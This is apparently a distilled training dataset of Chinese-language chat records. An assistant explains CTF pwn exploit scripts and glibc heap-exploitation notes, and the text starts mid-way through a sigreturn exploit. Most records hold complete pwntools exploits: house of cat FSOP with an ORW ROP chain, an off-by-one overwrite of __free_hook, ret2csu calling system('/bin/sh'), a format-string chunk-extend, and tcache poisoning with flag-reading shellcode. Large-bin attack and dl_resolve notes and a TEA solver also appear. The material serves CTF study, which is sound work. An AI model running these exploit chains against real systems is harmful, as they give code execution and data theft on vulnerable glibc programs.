context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

syscall_ret=0x0000000000401033
pop_syscall=0x0000000000401032
buf=0x0000000000402000

#fake stack
sigFrame=SigreturnFrame()
sigFrame.rax=0
sigFrame.rdi=0
sigFrame.rbp=buf+0x20
sigFrame.rsi=buf
sigFrame.rdx=0x1000
sigFrame.rip=syscall_ret

ru('?')
pl=b'a'*0x88+p64(pop_syscall)+p64(15)+bytes(sigFrame)
sl(pl)

sigFrame=SigreturnFrame()
sigFrame.rax=59
sigFrame.rdi=buf
sigFrame.rsi=0
sigFrame.rdx=0
sigFrame.rip=syscall_ret

pl2=b'/bin/sh\00'
pl2=pl2.ljust(0x28,b'A')
pl2 += p64(pop_syscall)+p64(15)+bytes(sigFrame)
sl(pl2)
ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `IO-FILE/house of cat/强网杯2022houseofcat/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`IO-FILE/house of cat/强网杯2022houseofcat/exp.py`

分类：io_file

语言：python

环境/依赖线索：
- `from pwn import *`
- `import argparse`
- `import os`

函数/封装：
- `add`
- `cmd_gate`
- `delete`
- `edit`
- `parse_args`
- `show`
- `start`

利用主题关键词：
- heap/tcache
- uaf/double-free
- io-file/fsop
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x200`, `0x290`, `0x418`, `0x420`, `0x430`, `0x440`, `0x450`, `0xb30`, `0xc18`, `0x1370`, `0x17d0`, `0x2050`, `0x28e0`, `0x21a0d0`, `0x21a0e0`, `0x0000000000029cd6`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *
import argparse
import os

context.binary = ELF('./houseofcat', checksec=False)
context.arch = 'amd64'
context.log_level = os.environ.get('LOG', 'info')
libc = ELF('./libc.so.6', checksec=False)

DEFAULT_LD = '/tools/binary/glibc-all-in-one/libs/2.35/64/ld-linux-x86-64.so.2'

def parse_args():
    ap = argparse.ArgumentParser(description='QWB 2022 houseofcat exploit')
    ap.add_argument('--remote', action='store_true', help='connect remote instead of local process')
    ap.add_argument('--host', default='TARGET_IP')
    ap.add_argument('--port', type=int, default=9999)
    ap.add_argument('--ld', default=DEFAULT_LD, help='glibc 2.35 loader path for local run')
    ap.add_argument('--libc-dir', default='.', help='directory containing libc.so.6')
    ap.add_argument('--gdb', action='store_true')
    return ap.parse_args()

args = parse_args()

def start():
    if args.remote:
        return remote(args.host, args.port)
    if os.path.exists(args.ld):
        return process([args.ld, '--library-path', args.libc_dir, './houseofcat'])
    log.warning('loader not found, falling back to system loader; this may crash if libc mismatches')
    return process('./houseofcat', env={'LD_PRELOAD': './libc.so.6'})

p = start()

def cmd_gate():
    # Type CAT + pass parser checks. Final \xff is compared with the global magic byte.
    p.sendafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF$\xff')

def add(idx, size, data):
    cmd_gate()
    p.sendlineafter(b'plz input your cat choice:\n', b'1')
    p.sendlineafter(b'plz input your cat idx:\n', str(idx).encode())
    p.sendlineafter(b'plz input your cat size:\n', str(size).encode())
    p.sendafter(b'plz input your content:\n', data)

def delete(idx):
    cmd_gate()
    p.sendlineafter(b'plz input your cat choice:\n', b'2')
    p.sendlineafter(b'plz input your cat idx:\n', str(idx).encode())

def show(idx):
    cmd_gate()
    p.sendlineafter(b'plz input your cat choice:\n', b'3')
    p.sendlineafter(b'plz input your cat idx:\n', str(idx).encode())

def edit(idx, data):
    cmd_gate()
    p.sendlineafter(b'plz input your cat choice:\n', b'4')
    p.sendlineafter(b'plz input your cat idx:\n', str(idx).encode())
    p.sendafter(b'plz input your content:\n', data)

# First authenticate LOGIN, otherwise CAT commands are ignored.
p.sendafter(b'mew mew mew~~~~~~', b'LOGIN | r00t QWBQWXF admin')

# 1. UAF on large chunk: delete does not clear ptr/size, show can leak freed chunk metadata.
add(0, 0x420, b'aaa')
add(1, 0x430, b'bbb')
add(2, 0x418, b'ccc')
delete(0)
add(3, 0x440, b'ddd')
show(0)
p.recvuntil(b'Context:\n')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21a0d0
log.success('libc_base = %#x', libc_base)
p.recv(10)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x290
log.success('heap_base = %#x', heap_base)

# 2. Prepare fake _IO_FILE + setcontext target and ORW ROP chain in heap.
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_r12 = libc_base + 0x000000000011f497
pop_rax = libc_base + 0x0000000000045eb0
ret = libc_base + 0x0000000000029cd6
stderr = libc_base + libc.sym['stderr']
setcontext = libc_base + libc.sym['setcontext']
close = libc_base + libc.sym['close']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
syscall_ret = libc_base + next(libc.search(asm('syscall; ret')))

flag_addr = heap_base + 0x17d0
rop_addr = heap_base + 0x2050
fake_wide_data = heap_base + 0xb30

fake = b''
fake += p64(0) * 4
fake += p64(0) + p64(0)
fake += p64(1) + p64(0)
fake += p64(heap_base + 0xc18 - 0x68)       # rdx for setcontext+61
fake += p64(setcontext + 61)                # _wide_data->_wide_vtable slot -> setcontext+61
fake = fake.ljust(0x58, b'\x00')
fake += p64(0)                              # _chain
fake = fake.ljust(0x78, b'\x00')
fake += p64(heap_base + 0x200)              # _lock, writable
fake = fake.ljust(0x90, b'\x00')
fake += p64(fake_wide_data)                 # _wide_data
fake = fake.ljust(0xb0, b'\x00')
fake += p64(1)                              # _mode
fake = fake.ljust(0xc8, b'\x00')
fake += p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x10)
fake += p64(0) * 6
fake += p64(fake_wide_data + 0x10)

payload_file = fake
payload_file += p64(flag_addr) + p64(0) + p64(0) * 5 + p64(rop_addr) + p64(ret)

delete(2)
add(6, 0x418, payload_file)
delete(6)

# 3. Largebin attack #1: overwrite stderr pointer with fake FILE on heap.
edit(0, p64(libc_base + 0x21a0d0) * 2 + p64(heap_base + 0x290) + p64(stderr - 0x20))
add(5, 0x440, b'aaaaa')
add(7, 0x430, b'flag\x00')
add(8, 0x430, b'eee')

rop = flat([
    pop_rdi, 0, close,                         # close stdin
    pop_rdi, flag_addr, pop_rsi, 0, pop_rax, 2, syscall_ret,  # open("flag", O_RDONLY) -> fd 0
    pop_rdi, 0, pop_rsi, flag_addr, pop_rdx_r12, 0x50, 0, read,
    pop_rdi, 1, write,
], word_size=64)
add(9, 0x430, rop)

# 4. Largebin attack #2: corrupt top chunk size, then malloc triggers __malloc_assert.
delete(5)
add(10, 0x450, p64(0) + p64(1))
delete(8)
edit(5, p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1370) + p64(heap_base + 0x28e0 - 0x20 + 3))

if args.gdb:
    gdb.attach(p, 'b *_IO_wfile_seekoff')

cmd_gate()
p.sendlineafter(b'plz input your cat choice:\n', b'1')
p.sendlineafter(b'plz input your cat idx:', b'11')
p.sendlineafter(b'plz input your cat size:', str(0x450).encode())

p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「早期的 Large Bin Attack」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 早期的 Large Bin Attack

> Large Bin Attack（glibc < 3.30）

glibc-2.30 之前，由于 chunk 链入 large bin 的过程中缺乏对 bk 和 bk_nextsize 指针的检查，因此可以 通过修改 bk 和 bk_nextsize 指针进行两处任意地址写。

如果新加入的 chunk **不小于 large bin 中的 chunk** 会进行如下操作：

```c
if (in_smallbin_range(size)) {
    // 如果内存块大小属于小块范围，执行小块的内存分配逻辑
    ...
} else {
    // 如果内存块大小属于大块范围
    victim_index = largebin_index(size); // 获取大块的索引
    bck = bin_at(av, victim_index);       // 获取对应的后向指针（即链表的前一个节点）
    fwd = bck->fd;                        // 获取对应的前向指针（即链表的下一个节点）

    // 保持大块链表的排序
    if (fwd != bck) {
        // 如果前向指针和后向指针不相同，表示链表中有多个节点

        // 将大小的低位与PREV_INUSE位按位“或”操作，以加速比较
        size |= PREV_INUSE;

        // 确保bck是主内存区域中的一个有效块
        assert(chunk_main_arena(bck->bk));

        // 如果目标块的大小小于bck->bk所指块的大小，跳过下面的循环
        if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
            ...
        } else {
            // 确保fwd是主内存区域中的一个有效块
            assert(chunk_main_arena(fwd));

            // 通过循环遍历fwd链表，找到适合插入的位置
            while ((unsigned long)size < chunksize_nomask(fwd)) {
                fwd = fwd->fd_nextsize; // 指向下一个大小相同的块
                assert(chunk_main_arena(fwd)); // 确保fwd是有效块
            }

            // 如果size和fwd块的大小相等，则将新块插入到第二个位置
            if ((unsigned long)size == (unsigned long)chunksize_nomask(fwd)) {
                fwd = fwd->fd; // 新块将插入到fwd之后
            } else {
                // 如果新块的大小大于fwd的大小，则插入到fwd之前
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
            }

            // 更新bck指针
            bck = fwd->bk;
        }
    } else {
        // 如果fwd == bck，表示链表只有一个节点
        victim->fd_nextsize = victim->bk_nextsize = victim;
    }

    // 将victim插入到链表的正确位置
    mark_bin(av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
}
```

劫持一个 large bin 中一个**在同等大小 chunk 中 bk 方向最靠前的 chunk** 的 **bk** 和 **bk_nextsize** 然后释放一个比该 chunk **稍大一些**的 chunk 就可以实现下图所示效果。

[图片: image]

自 glibc-2.30 开始如果加入的 chunk 不是最小的则在插入链表时会对 bk 指针进行检查。

```c
if (bck->fd != fwd)
  malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Seccomp绕过/2025gxqs-shellcode/re.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Seccomp绕过/2025gxqs-shellcode/re.c`

分类：seccomp

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdint.h>`
- `#include <inttypes.h>`
- `#include <ctype.h>`

函数/封装：
- `main`
- `tea_variant_decrypt_block`

利用主题关键词：
- seccomp/orw
- safe-linking

训练用代码片段：
```c
#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>
#include <ctype.h>

// 按原始反汇编的实现：对单个 64-bit (两个 uint32) 块进行变种 TEA 解密
void tea_variant_decrypt_block(uint32_t *v, const uint32_t key[4]) {
    // v[0] 对应 v7，v[1] 对应 v8（遵循原函数命名/顺序）
    uint32_t v7 = v[0];
    uint32_t v8 = v[1];
    uint32_t v9 = 0;
    const uint32_t delta = 1131796; // 题目中用到的增量

    for (int j = 0; j < 21; ++j) {
        // v8 -= (((16 * v7) ^ (v7 >> 5)) + v7) ^ (v9 + key[(v9 >> 11) & 3]);
        {
            uint32_t t1 = (uint32_t)((uint32_t)16 * v7);
            uint32_t expr = ((t1 ^ (v7 >> 5)) + v7) ^ (v9 + key[(v9 >> 11) & 3]);
            v8 = (uint32_t)(v8 - expr);
        }

        v9 = (uint32_t)(v9 + delta);

        // v7 -= (((16 * v8) ^ (v8 >> 5)) + v8) ^ (v9 + key[v9 & 3]);
        {
            uint32_t t2 = (uint32_t)((uint32_t)16 * v8);
            uint32_t expr2 = ((t2 ^ (v8 >> 5)) + v8) ^ (v9 + key[v9 & 3]);
            v7 = (uint32_t)(v7 - expr2);
        }
    }

    v[0] = v7;
    v[1] = v8;
}

int main(void) {
    // 题目中 Str1 的 8 个 32-bit 值（注意其中有负数，转成 uint32）
    uint32_t Str1[8] = {
        (uint32_t)1507521230U,
        (uint32_t)(-2131024571), // convert signed->uint32
        (uint32_t)281284809U,
        (uint32_t)1643177511U,
        (uint32_t)2135208994U,
        (uint32_t)(-1021528504),
        (uint32_t)1430855376U,
        (uint32_t)1128371098U
    };

    // 密钥数组 v8 = {8227, 8228, 8229, 8230}
    uint32_t key[4] = {8227U, 8228U, 8229U, 8230U};

    // 对每个 8 字节（两个 uint32）块进行解密（共 4 块）
    uint8_t plain[32];
    for (int blk = 0; blk < 4; ++blk) {
        uint32_t block[2];
        block[0] = Str1[blk * 2 + 0];
        block[1] = Str1[blk * 2 + 1];

        tea_variant_decrypt_block(block, key);

        // 按小端把两个 uint32 填入 plain 字节数组（与原程序在内存中的布局相符）
        plain[blk*8 + 0] = (uint8_t)(block[0] & 0xFF);
        plain[blk*8 + 1] = (uint8_t)((block[0] >> 8) & 0xFF);
        plain[blk*8 + 2] = (uint8_t)((block[0] >> 16) & 0xFF);
        plain[blk*8 + 3] = (uint8_t)((block[0] >> 24) & 0xFF);

        plain[blk*8 + 4] = (uint8_t)(block[1] & 0xFF);
        plain[blk*8 + 5] = (uint8_t)((block[1] >> 8) & 0xFF);
        plain[blk*8 + 6] = (uint8_t)((block[1] >> 16) & 0xFF);
        plain[blk*8 + 7] = (uint8_t)((block[1] >> 24) & 0xFF);
    }

    // 输出：Hex
    printf("解密得到的 flag（Hex）: ");
    for (int i = 0; i < 32; ++i) {
        printf("%02x", plain[i]);
    }
    printf("\n");

    // 输出：尽量以 ASCII 显示（不可打印字符用 '.' 代替）
    printf("解密得到的 flag（ASCII可打印部分）: ");
    int printable = 1;
    for (int i = 0; i < 32; ++i) {
        unsigned char c = plain[i];
        if (isprint(c)) {
            putchar(c);
        } else {
            putchar('.');
            printable = 0;
        }
    }
    printf("\n");

    if (printable) {
        printf("（全部为可打印 ASCII）\n");
    } else {
        printf("（含不可打印字符，已以 '.' 显示）\n");
    }

    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/off-by-one/Asis_2016_b00ks/exp_books.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/off-by-one/Asis_2016_b00ks/exp_books.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `changename`
- `createbook`
- `createname`
- `deletebook`
- `editbook`
- `printbook`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0xffff`, `0x21000`, `0x4f2c5`, `0x4f322`, `0x10a38c`, `0x5b9010`

训练用代码片段：
```python
from pwn import *
context.log_level="info"

binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")

def createbook(name_size,name,des_size,des):
	io.readuntil("> ")
	io.sendline("1")
	io.readuntil(": ")
	io.sendline(str(name_size))
	io.readuntil(": ")
	io.sendline(name)
	io.readuntil(": ")
	io.sendline(str(des_size))
	io.readuntil(": ")
	io.sendline(des)

def printbook(id):
	io.readuntil("> ")
	io.sendline("4")
	io.readuntil(": ")
	for i in range(id):
		book_id=int(io.readline()[:-1])
		io.readuntil(": ")
		book_name=io.readline()[:-1]
		io.readuntil(": ")
		book_des=io.readline()[:-1]
		io.readuntil(": ")
		book_author=io.readline()[:-1]
	return book_id,book_name,book_des,book_author

def createname(name):
	io.readuntil("name: ")
	io.sendline(name)

def changename(name):
	io.readuntil("> ")
	io.sendline("5")
	io.readuntil(": ")
	io.sendline(name)

def editbook(book_id,new_des):
	io.readuntil("> ")
	io.sendline("3")
	io.readuntil(": ")
	io.writeline(str(book_id))
	io.readuntil(": ")
	io.sendline(new_des)

def deletebook(book_id):
	io.readuntil("> ")
	io.sendline("2")
	io.readuntil(": ")
	io.sendline(str(book_id))

createname("A"*32)
createbook(128,"a",32,"a")
createbook(0x21000,"a",0x21000,"b")

book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))

payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload)
changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)
book2_name_addr=u64(book_name.ljust(8,"\x00"))
book2_des_addr=u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
log.success("book2 des addr:"+hex(book2_des_addr))
libc_base=book2_des_addr-0x5b9010
log.success("libc base:"+hex(libc_base))

free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget=libc_base+0x4f322 #0x4f2c5 0x10a38c 0x4f322
log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))
editbook(1,p64(free_hook)*2)
editbook(2,p64(one_gadget))
#gdb.attach(io)

deletebook(2)

io.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2csu/2024 geekchage su_____/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2csu/2024 geekchage su_____/exp_cli.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

函数/封装：
- `csu`

利用主题关键词：
- stack/rop

关键常量/偏移样例：
`0x400798`, `0x4008E0`, `0x4008FA`, `0x00000000004005d6`, `0x0000000000400903`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

gadget1=0x4008FA
gadget2=0x4008E0
rdi=0x0000000000400903
ret=0x00000000004005d6
off=136

ru("exit.\n")
sl(b"1")

def csu(addr,edi,rsi,rdx,last):
	#用于溢出的padding
	payload=off*b'a'
	#gadget1
	payload+=p64(gadget1)
	#rbx=0，rbp=1
	payload+=p64(0)+p64(1)
	#设置r12寄存器地址，即call调用的地址
	payload+=p64(addr)
	#参数3、参数2、参数1
	#r13、r14、r15
	payload+=p64(edi)+p64(rsi)+p64(rdx)
	#gadget2
	payload+=p64(gadget2)
	#pop出的padding
	payload+=b'a'*56
	#函数最后的返回地址
	payload+=p64(last)
	return payload

payload=csu(elf.got.puts,elf.got.puts,elf.got.puts,8,0x400798)

sl(payload)
addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts",hex(addr))
base=addr-libc.sym.puts
print("base",hex(base))
sys=base+libc.sym.system
print("sys",hex(sys))
sh=base+next(libc.search("/bin/sh\x00"))
print("sh",hex(sh))

payload=b'a'*off+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sl(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「3.64位dl_resolve」。
资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 3.64位dl_resolve

####（1）原理

	区别：结构体变化 & 寄存器传参。

#####1.64位relocation entry的结构体定义如下（24 bytes）：

```c
typedef __u16   Elf64_Half;
typedef __u32   Elf64_Word;
typedef __u64   Elf64_Addr;
typedef __u64   Elf64_Xword;
typedef __s64   Elf64_Sxword;

typedef struct elf64_rela {
  Elf64_Addr r_offset;  /* Location at which to apply the action */
  Elf64_Xword r_info;   /* index and type of relocation */
  Elf64_Sxword r_addend;    /* Constant addend used to compute value */
} Elf64_Rela;
#define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff)
```

```python
#roputils中，64位下构造伪Elf64_Rela的代码如下
...
        r_info = (((addr_sym - symtab) / syment) << 32) | 0x7
...
        buf += struct.pack('<QQQ', base, r_info, 0)                  # Elf64_Rela
```

	注意，这里r_offset、r_info、r_addend都变成了8字节长度，r_info中分4+4字节。

#####2.`SYMTAB`中的条目定义（24 bytes）

	可以看到，st_info和st_other等的位置提前了。

```c
typedef struct elf64_sym {
  Elf64_Word st_name;       /* Symbol name, index in string tbl */  //4
  unsigned char st_info;    /* Type and binding attributes */       //1
  unsigned char st_other;   /* No defined meaning, 0 */             //1
  Elf64_Half st_shndx;      /* Associated section index */          //2
  Elf64_Addr st_value;      /* Value of the symbol */               //8
  Elf64_Xword st_size;      /* Associated symbol size */            //8
} Elf64_Sym;
```

```python
#roputils中，伪造SYMTAB条目代码：
buf += struct.pack('<IIQQ', st_name, 0x12, 0, 0)             # Elf64_Sym
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/chunk Extend and Overlapping/2015_hacklu_bookstore/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/chunk Extend and Overlapping/2015_hacklu_bookstore/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `delete`
- `edit`
- `exp`
- `fmt`
- `submit`

利用主题关键词：
- heap/tcache
- stack/rop

关键常量/偏移样例：
`0x140`, `0x150`, `0x151`, `0x0a39`, `0x45216`, `0x400830`, `0x400A39`, `0x6011B8`

训练用代码片段：
```python
from pwn import *
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./books"
book = ELF("./books")
if args['REMOTE']:
    p = remote('TARGET_IP', 7777)
else:
    p = process("./books")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')

def edit(order, name):
    p.recvuntil('5: Submit\n')
    p.sendline(str(order))
    p.recvuntil(' order:\n')
    p.sendline(name)

def delete(order):
    p.recvuntil('5: Submit\n')
    p.sendline(str(order + 2))

def submit(payload):
    p.recvuntil('5: Submit\n')
    p.sendline('5' + payload)
    p.recvuntil('Order 1: ')
    p.recvuntil('Order 2: Order 1: ')

def fmt(fmtstr, argv):
    log.info('step 1. chunk extend.')
    payload = fmtstr  # fmtstr
    payload = payload.ljust(0x80, 'f')
    payload += p64(0)  # order 2's prev_size
    payload += p64(0x151)  # order 2's size --> fake large
    payload += '\x00' * 0x140  # padding for fake chunk
    payload += p64(0x150)  # fake chunk's next chunk's prev_size
    payload += p64(
        0x21
    )  # fake chunk's next chunk's size, bypass the check: !prev_inuse(nextchunk)
    payload += '\x00' * 0x10  # padding for fake chunk's next chunk
    payload += p64(0x20) + p64(
        0x21)  # bypass the check: in order not to consolidate
    edit(1, payload)  # modify order 2's chunk size to 0x140
    gdb.attach(p)
    delete(2)  # now, unsorted bin\'s head chunk size 0x140.

    log.info('step 2. format vulnerability')
    # when submit, the overall order content is :
    # Order 1: order1
    # Order 2: Order1: order1
    # try to construct format parameter too
    payload = 'FFFFFFF' + argv
    submit(payload)
    p.recvuntil('2: Order 1: ')

def exp():
    log.info('leak libc base')
    fini_array0 = 0x6011B8  # old: 0x400830
    main_addr = 0x400A39
    # make fini_array0 point to main
    # 13 for " 2: Order 1: "
    # 14 for "%31$p"
    padding = 0x0a39 - 13 - 14
    print hex(padding)
    fmtstr = "%31$p" + "%{}x".format(padding) + "%13$hn"
    fmt(fmtstr, p64(0x6011B8))
    libc_start_main_addr = int(p.recv(14), 16) - 240
    libc_base = libc_start_main_addr - libc.symbols['__libc_start_main']
    log.success('libc base: ' + hex(libc_base))
    one_gadget_addr = libc_base + 0x45216
    log.success('one gadget addr: ' + hex(one_gadget_addr))

    p.interactive()

if __name__ == "__main__":
    exp()
```

Heap/chunk Extend and Overlapping/2015_hacklu_bookstore/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「泄露」。
资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 泄露

构造三个 large chunk：

```python
add(0, 0x420, b'aaa')
add(1, 0x430, b'bbb')
add(2, 0x418, b'ccc')
delete(0)
add(3, 0x440, b'ddd')
show(0)
```

`show(0)` 输出 freed chunk 的 unsorted bin 指针，可同时得到 libc 和 heap：

```python
libc_base = u64(leak[0:6].ljust(8, b'\x00')) - 0x21a0d0
heap_base = u64(leak[16:22].ljust(8, b'\x00')) - 0x290
```

其中 `0x21a0d0` 是该 libc 下泄露出来的 `main_arena` 相关偏移。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「利用思路」。
资料来源：Heap/tcache attack/2025das rcms/wp.md；主题：2025das rcms；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 利用思路

思路：

- uaf泄露libc地址
- 泄露堆地址，利用泄露出来的堆地址计算出gift函数地址，绕过pie保护
- tcachebin attack修改fd指针，指向 free_hook指针；
- 劫持__free_hook为gift。
- 调用delet函数时会执行gift。
- 构造orw shellcode，读出flag。

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io=process(elf.path)
libc=ELF("/tools/binary/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def choice(c):
    io.recvuntil('5.exit')
    io.sendline(str(c))

def add(index,size,cmd):
    choice(1)
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(':')
    io.sendline(str(size))
    io.recvuntil(':')
    io.send(cmd)

def delet(index):
    choice(2)
    io.recvuntil(':')
    io.sendline(str(index))

def change(index,cmd):
    choice(3)
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(':')
    io.send(cmd)

def show(index):
    choice(4)
    io.recvuntil(':')
    io.sendline(str(index))

add(0,0x420,'AA')
add(1,0x60,'BB')
add(2,0x60,'CC')
add(3,0x60,'DD')

delet(0)

add(4,0x420,'A')

show(4)
libc_addr = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) >> 8
libc_base = libc_addr - 0x3ebc41
free_hook = libc_base + libc.sym['__free_hook']

delet(1)
delet(2)

show(2)

io.recvline()
heap_addr = u64(io.recv(6).ljust(8,b'\x00'))

success('heap_addr = '+hex(heap_addr))
target_addr = heap_addr - 0x1470
success('target_addr = '+hex(target_addr))

change(2,p64(target_addr))

add(5,0x60,'QQQ')

add(6,0x60,'\n')

show(6)

io.recvline()
elf_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('elf_addr = '+hex(elf_addr))
gift_addr = elf_addr + 0xce
success('gift_addr = '+hex(gift_addr))

delet(5)

change(5,p64(free_hook))

add(7,0x60,'A')
add(8,0x60,p64(gift_addr))

delet(7)

ru('?')

shellcode = '''
mov r15, 0x67616c662f2e
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov r14, 3
mov rdi, r14
mov rsi, rsp
mov rdx, 0xff
mov rax, 0
syscall
mov rdi,1
mov rsi, rsp
mov rdx, 0x30
mov rax, 1
syscall
'''

sl(asm(shellcode))

ia()
```


